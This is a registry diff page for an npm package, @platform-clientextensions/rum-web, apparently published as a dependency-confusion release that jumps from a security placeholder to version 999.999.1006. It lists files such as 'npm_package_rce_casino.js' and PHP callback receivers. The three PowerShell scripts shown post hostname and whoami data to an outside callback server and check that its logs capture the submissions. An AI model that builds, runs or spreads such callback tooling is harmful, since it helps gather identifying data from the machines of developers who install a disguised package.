@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.

Files changed (49) hide show
  1. package/BloodRage.db +160 -0
  2. package/CASINO_TRACKING_SOLUTION.md +31 -0
  3. package/DATA_WITH_ORIGIN_PHP.txt +131 -0
  4. package/FINAL_POST_FIX.md +122 -0
  5. package/FINAL_WORKING_SOLUTION.md +56 -0
  6. package/ORIGIN_TRACKING_SOLUTION.md +93 -0
  7. package/QUICK_FIX_GUIDE.md +73 -0
  8. package/README.md +162 -5
  9. package/WORKING_SOLUTION.md +55 -0
  10. package/analytics_worker.js +282 -0
  11. package/analyze_db.bat +16 -0
  12. package/analyze_db.py +51 -0
  13. package/cloud_detection_fix.php +37 -0
  14. package/copilot instructions.md +5 -0
  15. package/data_force_post.php +95 -0
  16. package/data_hybrid.php +75 -0
  17. package/data_php_complete.php +155 -0
  18. package/data_simple.php +71 -0
  19. package/data_with_origin.php +131 -0
  20. package/db_analysis.py +67 -0
  21. package/diagnose_server.ps1 +57 -0
  22. package/enhanced_origin_tracking.php +147 -0
  23. package/fix_post_method.ps1 +124 -0
  24. package/index.js +60 -0
  25. package/nodejs_install_instructions.txt +17 -0
  26. package/npm_analytics_monitor.js +244 -0
  27. package/npm_casino_tracking.js +134 -0
  28. package/npm_package_rce_casino.js +272 -0
  29. package/npm_package_update.js +44 -0
  30. package/npm_package_with_origin.js +103 -0
  31. package/package.json +19 -6
  32. package/quick_test.ps1 +36 -0
  33. package/test_casino_tracking.ps1 +65 -0
  34. package/test_complete_solution.ps1 +87 -0
  35. package/test_current_server.ps1 +69 -0
  36. package/test_existing_files.ps1 +62 -0
  37. package/test_final_casino.ps1 +38 -0
  38. package/test_final_fix.ps1 +37 -0
  39. package/test_force_post.ps1 +50 -0
  40. package/test_freeboldsec_server.ps1 +54 -0
  41. package/test_hybrid.ps1 +63 -0
  42. package/test_live_server.ps1 +32 -0
  43. package/test_logger.ps1 +15 -0
  44. package/test_origin_final.ps1 +25 -0
  45. package/test_origin_tracking.ps1 +62 -0
  46. package/test_post_detailed.ps1 +51 -0
  47. package/test_post_fix.ps1 +24 -0
  48. package/test_post_simple.ps1 +30 -0
  49. package/test_server_simple.ps1 +16 -0
@@ -0,0 +1,24 @@
1
+ # Test the POST fix
2
+ Write-Host "Testing POST fix..." -ForegroundColor Cyan
3
+
4
+ # Test 1: Debug what server receives
5
+ Write-Host "`nTest 1: POST Debug (post_test.php)" -ForegroundColor Yellow
6
+ try {
7
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/post_test.php" -Method POST -Body '{"test":"debug"}' -ContentType "application/json" -UseBasicParsing
8
+ Write-Host "SUCCESS - Debug info:" -ForegroundColor Green
9
+ Write-Host $response.Content
10
+ } catch {
11
+ Write-Host "FAILED - post_test.php not found. Create it first!" -ForegroundColor Red
12
+ }
13
+
14
+ # Test 2: Fixed data.php
15
+ Write-Host "`nTest 2: Fixed POST (data_fixed.php)" -ForegroundColor Yellow
16
+ try {
17
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php" -Method POST -Body '{"test":"fixed","user":"jimmy"}' -ContentType "application/json" -UseBasicParsing
18
+ Write-Host "SUCCESS - Response:" -ForegroundColor Green
19
+ Write-Host $response.Content
20
+ } catch {
21
+ Write-Host "FAILED - data_fixed.php not found. Create it first!" -ForegroundColor Red
22
+ }
23
+
24
+ Write-Host "`nIf both tests succeed, replace your data.php with data_fixed.php!" -ForegroundColor Yellow
@@ -0,0 +1,30 @@
1
+ # Simple POST test
2
+ Write-Host "Testing POST fix..." -ForegroundColor Cyan
3
+
4
+ # Test data_fixed.php with POST
5
+ $testData = @{
6
+ hostname = "test-pc"
7
+ whoami = "jimmy"
8
+ version = "999.999.1006"
9
+ timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
10
+ } | ConvertTo-Json
11
+
12
+ Write-Host "`nSending POST to data_fixed.php..." -ForegroundColor Yellow
13
+ Write-Host "Data: $testData" -ForegroundColor Gray
14
+
15
+ try {
16
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php" -Method POST -Body $testData -ContentType "application/json" -UseBasicParsing
17
+ Write-Host "`nSUCCESS!" -ForegroundColor Green
18
+ Write-Host "Response: $($response.Content)" -ForegroundColor Cyan
19
+
20
+ # Parse response
21
+ $result = $response.Content | ConvertFrom-Json
22
+ if ($result.status -eq "success") {
23
+ Write-Host "`nPOST IS WORKING! Message: $($result.message)" -ForegroundColor Green
24
+ Write-Host "Test ID: $($result.test_id)" -ForegroundColor Green
25
+ }
26
+ } catch {
27
+ Write-Host "ERROR: $_" -ForegroundColor Red
28
+ }
29
+
30
+ Write-Host "`nNow check the logs folder for new entries!" -ForegroundColor Yellow
@@ -0,0 +1,16 @@
1
+ # Simple test for freeboldsec.com callback server
2
+
3
+ Write-Host "Testing freeboldsec.com callback server..." -ForegroundColor Cyan
4
+
5
+ # Test GET
6
+ Write-Host "`nTest 1: GET request..." -ForegroundColor Yellow
7
+ Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method GET -UseBasicParsing
8
+
9
+ # Test POST
10
+ Write-Host "`nTest 2: POST request..." -ForegroundColor Yellow
11
+ $data = '{"test":"manual","user":"jimmy","timestamp":"2025-01-14 12:00:00"}'
12
+ Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body $data -ContentType "application/json" -UseBasicParsing
13
+
14
+ Write-Host "`nDONE! Check /public_html/new-page-1/api/rum/logs/ for:" -ForegroundColor Green
15
+ Write-Host "- rum_callbacks_2025-01-14.log" -ForegroundColor Cyan
16
+ Write-Host "- summary_2025-01-14.log" -ForegroundColor Cyan